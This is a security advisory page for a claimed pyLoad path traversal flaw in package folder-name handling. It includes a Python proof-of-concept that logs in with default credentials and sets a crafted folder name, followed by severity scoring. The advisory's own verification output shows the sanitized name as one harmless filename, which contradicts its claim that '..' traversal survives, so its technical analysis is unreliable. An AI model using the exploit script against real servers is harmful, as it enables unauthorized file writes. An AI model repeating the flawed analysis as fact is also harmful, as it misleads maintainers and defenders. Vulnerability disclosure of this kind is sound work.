Advisory details:
github_osv / GHSA-97r3-5w84-r4q8
| Advisory ID | github_osv/GHSA-97r3-5w84-r4q8 |
| Aliases |
CVE-2026-42314
|
| Summary | PyLoad Vulnerable to Path Traversal via Package Folder Name Insufficient sanitization of package folder names allows writing files outside the intended download directory. ## Affected Component - `src/pyload/core/api/__init__.py` - Function: `add_package()` ## Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. ## Proof of Concept ### Setup ```bash pip install pyload-ng[all] pyload -d & # Default credentials: pyload / pyload ``` ### Exploit ```python #!/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() # Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) # Create package with malicious folder name # The pattern ....// bypasses the ../ replacement # After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") # Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") # When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` ### Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" # Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") # Output: .._.._.._tmp_evil # When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") # Output: /home/user/Downloads/.._.._.._tmp_evil # The .. sequences remain and could be resolved by OS during file operations ``` ## Impact Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 5.9 |
| Risk | 3.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 6.5 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-97r3-5w84-r4q8/GHSA-97r3-5w84-r4q8.json |
| generic_textual | MODERATE |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/pyload/pyload | ||
| https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2026-128.yaml | ||
| CVE-2026-42314 | https://nvd.nist.gov/vuln/detail/CVE-2026-42314 | |
| GHSA-97r3-5w84-r4q8 | Other | https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-05-11T18:33:35Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/42xxx/CVE-2026-42314.json
Source Advisory: vulnrichment/CVE-2026-42314
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]